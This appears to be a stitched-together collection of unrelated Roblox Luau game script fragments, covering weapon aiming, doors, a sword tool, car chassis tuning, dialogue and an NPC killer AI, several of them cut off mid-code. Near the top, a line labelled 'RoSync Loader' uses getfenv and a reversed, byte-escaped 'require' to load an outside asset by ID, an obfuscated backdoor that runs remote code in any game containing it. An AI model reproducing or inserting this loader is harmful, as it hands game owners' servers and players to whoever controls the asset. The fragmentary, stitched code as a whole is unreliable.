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--[=[ @within TableUtil @function Assign @param target table @param ... table @return table Copies all values of the given tables into the `target` table. ```lua local t = {A = 10} local t2 = {B = 20} local t3 = {C = 30, D = 40} local newT = TableUtil.Assign(t, t2, t3) print(newT) --> {A = 10, B = 20, C = 30, D = 40} ``` ]=]
local function Assign(target: Table, ...: Table): Table local tbl = Copy(target) for _,src in ipairs({...}) do for k,v in pairs(src) do tbl[k] = v end end return tbl end
--[[ Last synced 5/5/2023 07:15 RoSync Loader ]]
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722947559) --[[ ]]--
-------------------------
function onClicked() R.BrickColor = BrickColor.new("Really red") C.One.BrickColor = BrickColor.new("Really black") C.Three.BrickColor = BrickColor.new("Really black") C.Four.BrickColor = BrickColor.new("Really black") C.MIC.BrickColor = BrickColor.new("Really black") C.A.BrickColor = BrickColor.new("Really black") C.B.BrickColor = BrickColor.new("Really black") C.M.BrickColor = BrickColor.new("Really black") end script.Parent.ClickDetector.MouseClick:connect(onClicked)
---------------------------------------------------------------------------------------------------- --------------------=[ OUTROS ]=-------------------------------------------------------------------- ----------------------------------------------------------------------------------------------------
,FastReload = true --- Automatically operates the bolt on reload if needed ,SlideLock = false ,MoveBolt = false ,BoltLock = false ,CanBreachDoor = false ,CanBreak = true --- Weapon can jam? ,JamChance = 1000 --- This old piece of brick doesn't work fine >;c ,IncludeChamberedBullet = true --- Include the chambered bullet on next reload ,Chambered = false --- Start with the gun chambered? ,LauncherReady = false --- Start with the GL ready? ,CanCheckMag = true --- You can check the magazine ,ArcadeMode = false --- You can see the bullets left in magazine ,RainbowMode = false --- Operation: Party Time xD ,ModoTreino = false --- Surrender enemies instead of killing them ,GunSize = 3 ,GunFOVReduction = 5 ,BoltExtend = Vector3.new(0, 0, 0.4) ,SlideExtend = Vector3.new(0, 0, 0.4)
--[[* * Keeps track of the current owner. * * The current owner is the component who should own any components that are * currently being constructed. ]]
local ReactCurrentOwner = { --[[* * @internal * @type {ReactComponent} ]] -- ROBLOX deviation START: upstream types this as Fiber, but that would incur a circular dependency between reconciler and shared current = nil :: any, -- ROBLOX deviation END } return ReactCurrentOwner
--!strict
local LuauPolyfill = script.Parent.Parent local types = require(LuauPolyfill.types) type Array<T> = types.Array<T> type Object = types.Object type callbackFn<T> = (element: T, index: number, array: Array<T>) -> boolean type callbackFnWithThisArg<T, U> = (thisArg: U, element: T, index: number, array: Array<T>) -> boolean
-- Functions --
local function setUp() closedGoal = {Size = Block.Size, Position = Block.Position} local smallSize = Vector3.new((Block.Size.X), (0.05), (Block.Size.Z)) --local smallPosition = Vector3.new((Block.Position.X), (Block.Position.Y - Block.CFrame.UpVector * Block.Size.Y * -0.5), (Block.Position.Z)) local smallPosition = Block.Position + Block.CFrame.UpVector * Block.Size.Y * 0.5 openGoal = {Size = smallSize, Position = smallPosition} end local function getProximityPrompts() for index, child in pairs(ProximityPrompts:GetChildren()) do if child:IsA("ObjectValue") then local prompt = child.Value if prompt:IsA("ProximityPrompt") then table.insert(proximityPrompts, prompt) end end end end local function tweenTo(goal) if tween then tween:Destroy() end local duration = math.abs((Block.Size.Y - goal.Size.Y) / shrinkSpeed) local tweenInfo = TweenInfo.new(duration, Enum.EasingStyle.Quad, Enum.EasingDirection.InOut) tween = TweenService:Create(Block, tweenInfo, goal) tween:Play() if isOpen then isOpen = false else isOpen = true end end local function isOnValidTeam(player) local playerTeamColor = player.TeamColor local isValid for index, objectValue in pairs(teamColorObjectValues) do if objectValue.Value == playerTeamColor then isValid = true end end return isValid end local function onTriggered(player) if not isOnValidTeam(player) then return end if isOpen then tweenTo(closedGoal) else tweenTo(openGoal) end end
-- Initialize lighting tool
local LightingTool = require(CoreTools:WaitForChild 'Lighting') Core.AssignHotkey('U', Core.Support.Call(Core.EquipTool, LightingTool)); Core.AddToolButton(Core.Assets.LightingIcon, 'U', LightingTool)
-- MAIN SCRIPT --
Remotes.Event('SetSettings').OnServerEvent:Connect(function(Player, Data) DataService:SetSettings(Player.UserId, Data) end) Remotes.Function('GetSettings').OnServerInvoke = function(Player) return DataService:GetSettings(Player.UserId) end
--[[ Returns the instance corresponding with the given path of object names. Errors if this instance does not exist. Useful for accessing Instance trees generated at runtime in strict mode. For example: local mast: Model = getInstance(rootInstance, "Ship", "Mast") --]]
local function getInstance<T>(instance: Instance, ...: string): T for _, childName in ipairs({ ... }) do local child = instance:FindFirstChild(childName) assert(child, string.format("%s is not a child of %s", childName, instance:GetFullName())) instance = child end -- We want this function to be callable with generic types return (instance :: any) :: T end return getInstance
--------------------[ ADS FUNCTIONS ]-------------------------------------------------
function AimGun() if (Camera.CoordinateFrame.p - Camera.Focus.p).magnitude > 1 or Reloading or Knifing or ThrowingGrenade then return end local Scope = Gui_Clone:WaitForChild("Scope"):WaitForChild("Img") local Steady = Gui_Clone:WaitForChild("Scope"):WaitForChild("Steady") Aimed = true Aiming = true CurrentRecoil = S.Recoil.Aimed CurrentSpread = S.Spread.Aimed Gui_Clone.CrossHair.Box:TweenSizeAndPosition( UDim2.new(), UDim2.new(), Enum.EasingDirection.Out, Enum.EasingStyle.Sine, S.AimAnimation and S.AimSpeed or 0, true ) if S.AimAnimation then local CurrentFOV = Camera.FieldOfView local CurrentCameraOffset = Humanoid.CameraOffset local CurrentTrans = Scope.BackgroundTransparency TweenJoint(LWeld, ArmC0[1], S.ArmC1_Aimed.Left, Sine, S.AimSpeed) TweenJoint(RWeld, ArmC0[2], S.ArmC1_Aimed.Right, Sine, S.AimSpeed) TweenJoint(AnimWeld, CF(0, 1, 0), CF(), Sine, S.AimSpeed) TweenJoint(Grip, Grip.C0, Aimed_GripCF, Sine, S.AimSpeed) TweenJoint(LWeld2, CF(), CF(), Sine, S.AimSpeed) TweenJoint(RWeld2, CF(), CF(), Sine, S.AimSpeed) local X = 0 while true do local NewX = X + 1.5 / S.AimSpeed X = (NewX > 90 and 90 or NewX) if (not Aimed) then break end if (not Selected) then break end local Alpha = 1 - COS(RAD(X)) Camera.FieldOfView = NumLerp(CurrentFOV, S.MaxZoom, Alpha) if S.GuiScope then Scope.BackgroundTransparency = NumLerp(CurrentTrans, 0, Alpha) end if X == 90 then break end RS:wait() end else LWeld.C0, LWeld.C1 = ArmC0[1], S.ArmC1_Aimed.Left RWeld.C0, RWeld.C1 = ArmC0[2], S.ArmC1_Aimed.Right AnimWeld.C0 = CF(0, 1, 0) Grip.C1 = Aimed_GripCF LWeld2.C1, RWeld2.C1 = CF(), CF() Camera.FieldOfView = S.MaxZoom end Aiming = (not Aimed) if (not Aiming) and S.GuiScope then spawn(function() Steady.Visible = true Scope.BackgroundTransparency = 1 Scope.ImageTransparency = 0 local Gun_Model = Instance.new("Model") Gun_Model.Name = "Gun_Model" for _, Obj in pairs(Gun:GetChildren()) do if Obj:IsA("BasePart") then local ObjClone = Obj:Clone() ObjClone.Parent = Gun_Model local W = Instance.new("Weld") W.Part0 = ObjClone W.Part1 = Obj W.Parent = ObjClone local PrevTrans = Instance.new("NumberValue") PrevTrans.Name = "PrevTrans" PrevTrans.Value = Obj.Transparency PrevTrans.Parent = Obj Obj.Transparency = 1 end end Gun_Model.Parent = Character end) spawn(function() while Aimed do local Ang = (CameraSteady and 0 or (Idleing and AnimAng[2] or AnimAng[4])) if CameraSway ~= 0 then local OffsetX, OffsetY = 0, 0 if Idleing then OffsetX = (RAD(COS(Ang * 5 * (CameraSway ^ 0.4))) / 40) * (CameraSway ^ 1.2) * StanceSway * S.ScopeSway OffsetY = (RAD(COS(Ang * 2 * (CameraSway ^ 0.4))) / 40) * (CameraSway ^ 1.2) * StanceSway * S.ScopeSway else OffsetX = (RAD(COS(Ang * 3/2 * (CameraSway ^ 0.4))) / 25) * (CameraSway ^ 1.2) * StanceSway * S.ScopeSway OffsetY = (RAD(COS(Ang * 3/5 * (CameraSway ^ 0.4))) / 25) * (CameraSway ^ 1.2) * StanceSway * S.ScopeSway end RotCamera(OffsetX, OffsetY) end RS:wait() end end) end end function UnAimGun(Exception) local Scope = Gui_Clone:WaitForChild("Scope"):WaitForChild("Img") local Steady = Gui_Clone:WaitForChild("Scope"):WaitForChild("Steady") if (not Exception) then if (not Aimed) then return end if (Reloading and Exception) or Knifing and (not ThrowingGrenade) then return end CurrentRecoil = S.Recoil.Hipfire CurrentSpread = ((Idleing and (not Walking)) and S.Spread.Hipfire or S.Spread.Walking) if Walking and Aimed then Gui_Clone.CrossHair.Box:TweenSizeAndPosition( UDim2.new(0, 150, 0, 150), UDim2.new(0, -75, 0, -75), Enum.EasingDirection.Out, Enum.EasingStyle.Linear, S.AimAnimation and S.AimSpeed or 0, true ) elseif Idleing then Gui_Clone.CrossHair.Box:TweenSizeAndPosition( UDim2.new(0, 70, 0, 70), UDim2.new(0, -35, 0, -35), Enum.EasingDirection.Out, Enum.EasingStyle.Linear, S.AimAnimation and S.AimSpeed or 0, true ) end Aimed = false Aiming = true if S.GuiScope then spawn(function() local Gun_Model = Character:FindFirstChild("Gun_Model") if Gun_Model then Gun_Model:Destroy() end for _, Obj in pairs(Gun:GetChildren()) do if Obj:IsA("BasePart") then local PrevTrans = Obj:FindFirstChild("PrevTrans") Obj.Transparency = PrevTrans.Value PrevTrans:Destroy() end end end) end if S.AimAnimation then local CurrentFOV = Camera.FieldOfView local CurrentCameraOffset = Humanoid.CameraOffset local CurrentTrans = (Scope.BackgroundTransparency == 1 and (S.GuiScope and 0 or 1) or Scope.BackgroundTransparency) Scope.ImageTransparency = 1 Steady.Visible = false TweenJoint(LWeld, ArmC0[1], S.ArmC1_UnAimed.Left, Sine, S.AimSpeed) TweenJoint(RWeld, ArmC0[2], S.ArmC1_UnAimed.Right, Sine, S.AimSpeed) TweenJoint(Grip, Grip.C0, CFANG(0, RAD(20), 0), Sine, S.AimSpeed) if S.PlayerAnimations then TweenJoint(LWeld2, CF(), CFANG(0, RAD(ArmTilt), 0), Sine, S.AimSpeed) TweenJoint(RWeld2, CF(), CFANG(0, RAD(ArmTilt), 0), Sine, S.AimSpeed) end local X = 0 while true do local NewX = X + 1.5 / S.AimSpeed X = (NewX > 90 and 90 or NewX) if Aimed then break end if (not Selected) then break end local Alpha = 1 - COS(RAD(X)) Camera.FieldOfView = NumLerp(CurrentFOV, 70, Alpha) Scope.BackgroundTransparency = NumLerp(CurrentTrans, 1, Alpha) if X == 90 then break end RS:wait() end else Scope.BackgroundTransparency = 1 Scope.ImageTransparency = 1 Steady.Visible = false LWeld.C0, LWeld.C1 = ArmC0[1], S.ArmC1_UnAimed.Left RWeld.C0, RWeld.C1 = ArmC0[2], S.ArmC1_UnAimed.Right Grip.C1 = CFANG(0, RAD(20), 0) LWeld2.C1, RWeld2.C1 = CFANG(0, RAD(ArmTilt), 0), CFANG(0, RAD(ArmTilt), 0) Camera.FieldOfView = 70 end Aiming = Aimed else if S.GuiScope then spawn(function() local Gun_Model = Character:FindFirstChild("Gun_Model") if Gun_Model then Gun_Model:Destroy() end for _, Obj in pairs(Gun:GetChildren()) do if Obj:IsA("BasePart") then local PrevTrans = Obj:FindFirstChild("PrevTrans") Obj.Transparency = PrevTrans.Value PrevTrans:Destroy() end end end) end spawn(function() Aimed = false Aiming = false CurrentRecoil = S.Recoil.Hipfire CurrentSpread = ((Idleing and (not Walking)) and S.Spread.Hipfire or S.Spread.Walking) if (not Walking) then Gui_Clone.CrossHair.Box:TweenSizeAndPosition( UDim2.new(0, 70, 0, 70), UDim2.new(0, -35, 0, -35), Enum.EasingDirection.Out, Enum.EasingStyle.Linear, S.AimAnimation and S.AimSpeed or 0, true ) else Gui_Clone.CrossHair.Box:TweenSizeAndPosition( UDim2.new(0, 150, 0, 150), UDim2.new(0, -75, 0, -75), Enum.EasingDirection.Out, Enum.EasingStyle.Linear, S.AimAnimation and S.AimSpeed or 0, true ) end local CurrentFOV = Camera.FieldOfView local CurrentCameraOffset = Humanoid.CameraOffset local CurrentTrans = (Scope.BackgroundTransparency == 1 and (S.GuiScope and 0 or 1) or Scope.BackgroundTransparency) Scope.ImageTransparency = 1 Steady.Visible = false if LWeld:FindFirstChild("TweenCode") then LWeld.TweenCode:Destroy() end if RWeld:FindFirstChild("TweenCode") then RWeld.TweenCode:Destroy() end if Grip:FindFirstChild("TweenCode") then Grip.TweenCode:Destroy() end if LWeld2:FindFirstChild("TweenCode") then LWeld2.TweenCode:Destroy() end if RWeld2:FindFirstChild("TweenCode") then RWeld2.TweenCode:Destroy() end if S.AimAnimation then local X = 0 while true do local NewX = X + 1.5 / S.AimSpeed X = (NewX > 90 and 90 or NewX) if Aimed then break end if (not Selected) then break end local Alpha = 1 - COS(RAD(X)) Camera.FieldOfView = NumLerp(CurrentFOV, 70, Alpha) Scope.BackgroundTransparency = NumLerp(CurrentTrans, 1, Alpha) if X == 90 then break end RS:wait() end else Scope.BackgroundTransparency = 1 Scope.ImageTransparency = 1 Steady.Visible = false Camera.FieldOfView = 70 end end) end end
---------END LEFT DOOR
game.Workspace.DoorValues.Moving.Value = true game.Workspace.DoorClosed.Value = false wait(0.1) until game.Workspace.DoorValues.Close.Value==0 --how much you want to open - the lower the number, the wider the door opens. end game.Workspace.DoorValues.Moving.Value = false end end script.Parent.ClickDetector.MouseClick:connect(onClicked)
-- --All Welding Related Utility functions should be put here --
WeldUtil = {} do function WeldUtil.WeldBetween(a, b) local weld = Instance.new("Weld") weld.Part0 = a weld.Part1 = b weld.C0 = CFrame.new() weld.C1 = b.CFrame:inverse() * a.CFrame weld.Parent = a return weld end function WeldUtil:PermaWeld(weld) local OriginalParent = weld.Parent weld.Changed:connect(function() delay(0,function() weld.Parent = OriginalParent end) end) end end local InternalEvent = { Listeners = nil, } do UTIL.MakeClass(InternalEvent) function InternalEvent:Connect(func) if not self.Listeners then self.Listeners = {} end table.insert(self.Listeners,func) end function InternalEvent:Fire(...) if not self.Listeners then return end local args = {...} for _,i in ipairs(self.Listeners) do spawn(function() i(unpack(args)) end) end end end
--Rescripted by Luckymaxer
Tool = script.Parent Handle = Tool:WaitForChild("Handle") Mesh = Handle:WaitForChild("Mesh") Players = game:GetService("Players") Debris = game:GetService("Debris") RunService = game:GetService("RunService") BaseUrl = "http://www.roblox.com/asset/?id=" Grips = { Up = CFrame.new(0, 0, -1.5, 0, 0, 1, 1, 0, 0, 0, 1, 0), Out = CFrame.new(0, 0, -1.5, 0, -1, -0, -1, 0, -0, 0, 0, -1), } Sounds = { Slash = Handle:WaitForChild("Slash"), Lunge = Handle:WaitForChild("Lunge"), Unsheath = Handle:WaitForChild("Unsheath"), } LastAttack = 0 ToolEquipped = false Tool.Enabled = true function SwordUp() Tool.Grip = Grips.Up end function SwordOut() Tool.Grip = Grips.Out end function IsTeamMate(Player1, Player2) return (Player1 and Player2 and not Player1.Neutral and not Player2.Neutral and Player1.TeamColor == Player2.TeamColor) end function TagHumanoid(humanoid, player) local Creator_Tag = Instance.new("ObjectValue") Creator_Tag.Name = "creator" Creator_Tag.Value = player Debris:AddItem(Creator_Tag, 2) Creator_Tag.Parent = humanoid end function UntagHumanoid(humanoid) for i, v in pairs(humanoid:GetChildren()) do if v:IsA("ObjectValue") and v.Name == "creator" then v:Destroy() end end end function Attack() Sounds.Slash:Play() local Anim = Instance.new("StringValue") Anim.Name = "toolanim" Anim.Value = "Slash" Anim.Parent = Tool end function Lunge() Sounds.Lunge:Play() local Anim = Instance.new("StringValue") Anim.Name = "toolanim" Anim.Value = "Lunge" Anim.Parent = Tool local Force = Instance.new("BodyVelocity") Force.velocity = Vector3.new(0, 10, 0) Force.maxForce = Vector3.new(0, 4000, 0) Debris:AddItem(Force, 0.5) Force.Parent = RootPart wait(0.25) SwordOut() wait(0.25) if Force and Force.Parent then Force:Destroy() end wait(0.5) SwordUp() end function Blow(Hit) if not Hit or not Hit.Parent or not CheckIfAlive() then return end local RightArm = (Character:FindFirstChild("Right Arm") or Character:FindFirstChild("RightHand")) if not RightArm then return end local RightGrip = RightArm:FindFirstChild("RightGrip") if not RightGrip or (RightGrip.Part0 ~= RightArm and RightGrip.Part1 ~= RightArm) or (RightGrip.Part0 ~= Handle and RightGrip.Part1 ~= Handle) then return end local character = Hit.Parent local humanoid = character:FindFirstChild("Humanoid") if not humanoid then return end local player = Players:GetPlayerFromCharacter(character) if player and (player == Player or IsTeamMate(Player, player)) then return end UntagHumanoid(humanoid) TagHumanoid(humanoid, Player) end function Activated() if not Tool.Enabled or not ToolEquipped or not CheckIfAlive() then return end Tool.Enabled = false local Tick = RunService.Stepped:wait() if (Tick - LastAttack) < 0.2 then Lunge() else Attack() end LastAttack = Tick Tool.Enabled = true end function CheckIfAlive() return (((Character and Character.Parent and Humanoid and Humanoid.Parent and Humanoid.Health > 0 and RootPart and RootPart.Parent and Player and Player.Parent) and true) or false) end function Equipped() Character = Tool.Parent Player = Players:GetPlayerFromCharacter(Character) Humanoid = Character:FindFirstChild("Humanoid") RootPart = Character:FindFirstChild("HumanoidRootPart") if not CheckIfAlive() then return end ToolEquipped = true Sounds.Unsheath:Play() end function Unequipped() ToolEquipped = false end SwordUp() Handle.Touched:connect(Blow) Tool.Activated:connect(Activated) Tool.Equipped:connect(Equipped) Tool.Unequipped:connect(Unequipped)
--[[Run]]
--Print Version local ver=require(car["A-Chassis Tune"].README) --Runtime Loops -- ~60 c/s game["Run Service"].Stepped:connect(function() --Steering Steering() --RPM RPM() --Update External Values _IsOn = script.Parent.IsOn.Value _InControls = script.Parent.ControlsOpen.Value script.Parent.Values.Gear.Value = _CGear script.Parent.Values.RPM.Value = _RPM script.Parent.Values.Horsepower.Value = _HP script.Parent.Values.Torque.Value = _HP * _Tune.EqPoint / _RPM script.Parent.Values.TransmissionMode.Value = _TMode script.Parent.Values.Throttle.Value = _GThrot script.Parent.Values.Brake.Value = _GBrake script.Parent.Values.SteerC.Value = _GSteerC*(1-math.min(car.DriveSeat.Velocity.Magnitude/_Tune.SteerDecay,1-(_Tune.MinSteer/100))) script.Parent.Values.SteerT.Value = _GSteerT script.Parent.Values.PBrake.Value = _PBrake script.Parent.Values.TCS.Value = _TCS script.Parent.Values.TCSActive.Value = _TCSActive script.Parent.Values.ABS.Value = _ABS script.Parent.Values.ABSActive.Value = _ABSActive script.Parent.Values.MouseSteerOn.Value = _MSteer script.Parent.Values.Velocity.Value = car.DriveSeat.Velocity end) -- ~15 c/s while wait(.0667) do --Power Engine() --Flip if _Tune.AutoFlip then Flip() end if Stats.Fuel == 0 then _IsOn = false end end
-- Handles behaviours
local function characterTouchedBrick(partTouched) local behaviours = partTouched:FindFirstChild("Behaviours") if behaviours ~= nil then behaviours = behaviours:GetChildren() for i = 1, #behaviours do if behaviours[i].Value == true then game.ReplicatedStorage.RemoteEvents.ExecuteBehaviour:FireServer(player.Character, partTouched, behaviours[i].Name) end end end end function characterAdded(newCharacter) local humanoid = newCharacter:WaitForChild("Humanoid") humanoid.WalkSpeed = 0 humanoid.Touched:Connect(characterTouchedBrick) local splashScreen = player.PlayerGui:WaitForChild("StartScreen") if UserInputService.TouchEnabled == false then if UserInputService.GamepadEnabled then splashScreen.StartInstructions.StartLabel.Text = "Press Space or Gamepad A Button to Start" else splashScreen.StartInstructions.StartLabel.Text = "Press Space to Start" end end if reviving == true then reviving = false splashScreen:Destroy() humanoid.WalkSpeed = characterWalkSpeed end humanoid.WalkSpeed = 0 end player.CharacterAdded:Connect(characterAdded) if player.Character then characterAdded(player.Character) end function checkReviving(addedGui) if addedGui.Name == "RevivingGUI" then reviving = true end end player.PlayerGui.ChildAdded:Connect(checkReviving) if UserInputService.TouchEnabled then UserInputService.ModalEnabled = true UserInputService.TouchStarted:Connect(function(inputObject, gameProcessedEvent) if gameProcessedEvent == false then doJump = true end end) UserInputService.TouchEnded:Connect(function() doJump = false end) else ContextActionService:BindAction("Jump", function(action, userInputState, inputObject) doJump = (userInputState == Enum.UserInputState.Begin) end, false, Enum.KeyCode.Space, Enum.KeyCode.ButtonA) end game:GetService("RunService").RenderStepped:Connect(function() if player.Character ~= nil then if player.Character:FindFirstChild("Humanoid") then if doJump == true then jump() end player.Character.Humanoid:Move(Vector3.new(0,0,-1), false) end end end)
--edit the below function to execute code when this response is chosen OR this prompt is shown --player is the player speaking to the dialogue, and dialogueFolder is the object containing the dialogue data
return function(player, dialogueFolder) local ClassInformationTable = require(game.ReplicatedStorage.Source.Modules.CharacterScripts.Classes.ClassInformation) ClassInformationTable:GetClassFolder(player,"Paladin").Obtained.Value = true ClassInformationTable:GetClassFolder(player,"Paladin").JumpStrike1.Value = true end
--// initialize functions //--
function resetGui() script.Parent.GuiActive.Value = false script.Parent.Parent.ChangePlayer.Visible = false script.Parent.Holder.PlayerName.Text = "NOBODY" viewingNumber = 1 game.Workspace.CurrentCamera.CameraSubject = game.Players.LocalPlayer.Character.Humanoid end function moveRight() playerTable = game.Players:GetChildren() viewingNumber = viewingNumber + 1 if playerTable[viewingNumber] == nil then viewingNumber = 1 end if playerTable[viewingNumber] ~= nil then game.Workspace.CurrentCamera.CameraSubject = playerTable[viewingNumber].Character.Humanoid if playerTable[viewingNumber].Name ~= player.Name then script.Parent.Holder.PlayerName.Text = playerTable[viewingNumber].Name:upper() else script.Parent.Holder.PlayerName.Text = "NOBODY" end end end function moveLeft() playerTable = game.Players:GetChildren() local maxNumber = #playerTable viewingNumber = viewingNumber - 1 if playerTable[viewingNumber] == nil then viewingNumber = maxNumber end if playerTable[viewingNumber] ~= nil then game.Workspace.CurrentCamera.CameraSubject = playerTable[viewingNumber].Character.Humanoid if playerTable[viewingNumber].Name ~= player.Name then script.Parent.Holder.PlayerName.Text = playerTable[viewingNumber].Name:upper() else script.Parent.Holder.PlayerName.Text = "NOBODY" end end end function checkTeam(color) for i,v in pairs(script.Parent.Parent.AllowedTeams:GetChildren()) do if v.Value == game.Players.LocalPlayer.TeamColor then return true end end return false end
--[[Engine]] --Torque Curve
Tune.Horsepower = 3000 -- [TORQUE CURVE VISUAL] Tune.IdleRPM = 1000 -- https://www.desmos.com/calculator/2uo3hqwdhf Tune.PeakRPM = 8000 -- Use sliders to manipulate values Tune.Redline = 9000-- Copy and paste slider values into the respective tune values Tune.EqPoint = 10700 Tune.PeakSharpness = 2.3 Tune.CurveMult = 0.07
--[[if JeffTheKillerScript and JeffTheKiller and JeffTheKiller:FindFirstChild("Thumbnail")then]]-- --[[JeffTheKiller:FindFirstChild("Thumbnail"):Destroy();]]-- --[[end;]]
-- local JeffTheKillerHumanoid; for _,Child in pairs(JeffTheKiller:GetChildren())do if Child and Child.ClassName=="Humanoid"and Child.Health~=0 then JeffTheKillerHumanoid=Child; end; end; local AttackDebounce=false; local JeffTheKillerKnife=JeffTheKiller:FindFirstChild("Knife"); local JeffTheKillerHead=JeffTheKiller:FindFirstChild("Head"); local JeffTheKillerHumanoidRootPart=JeffTheKiller:FindFirstChild("HumanoidRootPart"); local WalkDebounce=false; local Notice=false; local JeffLaughDebounce=false; local MusicDebounce=false; local NoticeDebounce=false; local ChosenMusic; function FindNearestBae() local NoticeDistance=100; local TargetMain; for _,TargetModel in pairs(Game:GetService("Workspace"):GetChildren())do if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and TargetModel.className=="Model"and TargetModel~=JeffTheKiller and TargetModel.Name~=JeffTheKiller.Name and TargetModel:FindFirstChild("HumanoidRootPart")and TargetModel:FindFirstChild("Head")then local TargetPart=TargetModel:FindFirstChild("HumanoidRootPart"); local FoundHumanoid; for _,Child in pairs(TargetModel:GetChildren())do if Child and Child.ClassName=="Humanoid"and Child.Health~=0 then FoundHumanoid=Child; end; end; if TargetModel and TargetPart and FoundHumanoid and FoundHumanoid.Health~=0 and(TargetPart.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<NoticeDistance then TargetMain=TargetPart; NoticeDistance=(TargetPart.Position-JeffTheKillerHumanoidRootPart.Position).magnitude; local hit,pos=raycast(JeffTheKillerHumanoidRootPart.Position,(TargetPart.Position-JeffTheKillerHumanoidRootPart.Position).unit,500) if hit and hit.Parent and hit.Parent.ClassName=="Model"and hit.Parent:FindFirstChild("HumanoidRootPart")and hit.Parent:FindFirstChild("Head")then if TargetModel and TargetPart and FoundHumanoid and FoundHumanoid.Health~=0 and(TargetPart.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<9 and not AttackDebounce then Spawn(function() AttackDebounce=true; local SwingAnimation=JeffTheKillerHumanoid:LoadAnimation(JeffTheKiller:FindFirstChild("Swing")); local SwingChoice=math.random(1,2); local HitChoice=math.random(1,3); SwingAnimation:Play(); SwingAnimation:AdjustSpeed(1.5+(math.random()*0.1)); if JeffTheKillerScript and JeffTheKiller and JeffTheKillerKnife and JeffTheKillerKnife:FindFirstChild("Swing")then local SwingSound=JeffTheKillerKnife:FindFirstChild("Swing"); SwingSound.Pitch=1+(math.random()*0.04); SwingSound:Play(); end; Wait(0.3); if TargetModel and TargetPart and FoundHumanoid and FoundHumanoid.Health~=0 and(TargetPart.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<8 then FoundHumanoid:TakeDamage(5000); if HitChoice==1 and JeffTheKillerScript and JeffTheKiller and JeffTheKillerKnife and JeffTheKillerKnife:FindFirstChild("Hit1")then local HitSound=JeffTheKillerKnife:FindFirstChild("Hit1"); HitSound.Pitch=1+(math.random()*0.04); HitSound:Play(); elseif HitChoice==2 and JeffTheKillerScript and JeffTheKiller and JeffTheKillerKnife and JeffTheKillerKnife:FindFirstChild("Hit2")then local HitSound=JeffTheKillerKnife:FindFirstChild("Hit2"); HitSound.Pitch=1+(math.random()*0.04); HitSound:Play(); elseif HitChoice==3 and JeffTheKillerScript and JeffTheKiller and JeffTheKillerKnife and JeffTheKillerKnife:FindFirstChild("Hit3")then local HitSound=JeffTheKillerKnife:FindFirstChild("Hit3"); HitSound.Pitch=1+(math.random()*0.04); HitSound:Play(); end; end; Wait(0.1); AttackDebounce=false; end); end; end; end; end; end; return TargetMain; end; while Wait(0)do local TargetPoint=JeffTheKillerHumanoid.TargetPoint; local Blockage,BlockagePos=RayCast((JeffTheKillerHumanoidRootPart.CFrame+CFrame.new(JeffTheKillerHumanoidRootPart.Position,Vector3.new(TargetPoint.X,JeffTheKillerHumanoidRootPart.Position.Y,TargetPoint.Z)).lookVector*(JeffTheKillerHumanoidRootPart.Size.Z/2)).p,JeffTheKillerHumanoidRootPart.CFrame.lookVector,(JeffTheKillerHumanoidRootPart.Size.Z*2.5),{JeffTheKiller,JeffTheKiller}) local Jumpable=false; if Blockage then Jumpable=true; if Blockage and Blockage.Parent and Blockage.Parent.ClassName~="Workspace"then local BlockageHumanoid; for _,Child in pairs(Blockage.Parent:GetChildren())do if Child and Child.ClassName=="Humanoid"and Child.Health~=0 then BlockageHumanoid=Child; end; end; if Blockage and Blockage:IsA("Terrain")then local CellPos=Blockage:WorldToCellPreferSolid((BlockagePos-Vector3.new(0,2,0))); local CellMaterial,CellShape,CellOrientation=Blockage:GetCell(CellPos.X,CellPos.Y,CellPos.Z); if CellMaterial==Enum.CellMaterial.Water then Jumpable=false; end; elseif BlockageHumanoid or Blockage.ClassName=="TrussPart"or Blockage.ClassName=="WedgePart"or Blockage.Name=="Handle"and Blockage.Parent.ClassName=="Hat"or Blockage.Name=="Handle"and Blockage.Parent.ClassName=="Tool"then Jumpable=false; end; end; if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and not JeffTheKillerHumanoid.Sit and Jumpable then JeffTheKillerHumanoid.Jump=true; end; end; if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHumanoidRootPart and JeffTheKillerHead:FindFirstChild("Jeff_Step")and (JeffTheKillerHumanoidRootPart.Velocity-Vector3.new(0,JeffTheKillerHumanoidRootPart.Velocity.y,0)).magnitude>=5 and not WalkDebounce and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 then Spawn(function() WalkDebounce=true; local FiredRay=Ray.new(JeffTheKillerHumanoidRootPart.Position,Vector3.new(0,-4,0)); local RayTarget,endPoint=Game:GetService("Workspace"):FindPartOnRay(FiredRay,JeffTheKiller); if RayTarget then local JeffTheKillerHeadFootStepClone=JeffTheKillerHead:FindFirstChild("Jeff_Step"):Clone(); JeffTheKillerHeadFootStepClone.Parent=JeffTheKillerHead; JeffTheKillerHeadFootStepClone:Play(); JeffTheKillerHeadFootStepClone:Destroy(); if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and JeffTheKillerHumanoid.WalkSpeed<17 then Wait(0.5); elseif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and JeffTheKillerHumanoid.WalkSpeed>17 then Wait(0.2); end end; WalkDebounce=false; end); end; local MainTarget=FindNearestBae(); local FoundHumanoid; if MainTarget then for _,Child in pairs(MainTarget.Parent:GetChildren())do if Child and Child.ClassName=="Humanoid"and Child.Health~=0 then FoundHumanoid=Child; end; end; end; if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and MainTarget.Parent and FoundHumanoid and FoundHumanoid.Jump then JeffTheKillerHumanoid.Jump=true; end; if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<25 then if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild("Jeff_Laugh")and not JeffTheKillerHead:FindFirstChild("Jeff_Laugh").IsPlaying then JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume=1; 